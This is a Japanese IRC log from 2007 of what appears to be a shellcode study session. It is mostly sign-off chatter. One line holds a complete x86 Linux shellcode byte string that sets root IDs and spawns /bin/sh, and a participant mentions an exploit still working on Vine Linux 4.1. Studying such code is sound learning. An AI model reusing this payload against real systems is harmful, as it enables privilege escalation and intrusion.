Defolos_ 前には\xつけてますよね 11月 04 09:08:58 wahiko あ 11月 04 09:09:04 wahiko ためしてみます 11月 04 09:09:09 kotto \x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 11月 04 09:09:30 wahiko わすててまし 11月 04 09:09:35 wahiko わすれてました 11月 04 09:09:37 Defolos_ Σ 11月 04 09:10:44 wahiko はいできました(汗 11月 04 09:10:55 Defolos_ おめでとうございます^ 11月 04 09:11:10 Defolos_ では、そろそろ時間ですので、これでお開きにしましょうか 11月 04 09:11:19 Defolos_ 今日作った小型版シェルコードは 11月 04 09:11:22 wahiko はい 11月 04 09:11:29 Defolos_ 次回も使いますので、 11月 04 09:11:34 Defolos_ メモをとっておいてくださいね 11月 04 09:11:40 be-be- お疲れ様でした 11月 04 09:11:44 Defolos_ それではお疲れ様でした 11月 04 09:11:54 kotto お疲れさまでした 11月 04 09:11:58 dari お疲れ様でした 11月 04 09:12:07 wahiko お疲れ様です 11月 04 09:12:34 IPUSIRON お疲れ様でした 11月 04 09:13:11 Defolos_ 今回はずいぶん長い時間SSHの接続エラーで時間をとってしまって申し訳ありませんでした 11月 04 09:13:27 wahiko いえいえ 11月 04 09:14:01 kotto 次回もよろしくお願いします 11月 04 09:14:12 Defolos_ それではまた次回お会いしましょうー 11月 04 09:14:19 Defolos_ ノ 11月 04 09:14:19 wahiko あと以前のエクスプロイトを最新のvine4.1で試してみたのですが通りました 11月 04 09:14:25 Defolos_ あ、はい 11月 04 09:14:25 wahiko では 11月 04 09:14:35 Defolos_ 情報ありがとうございます 11月 04 09:14:42 Defolos_ ではー 11月 04 09:14:47 Tcl interface unloaded 11月 04 09:14:47 Python interface unloaded **** Sun Nov 4 09:14:47 2007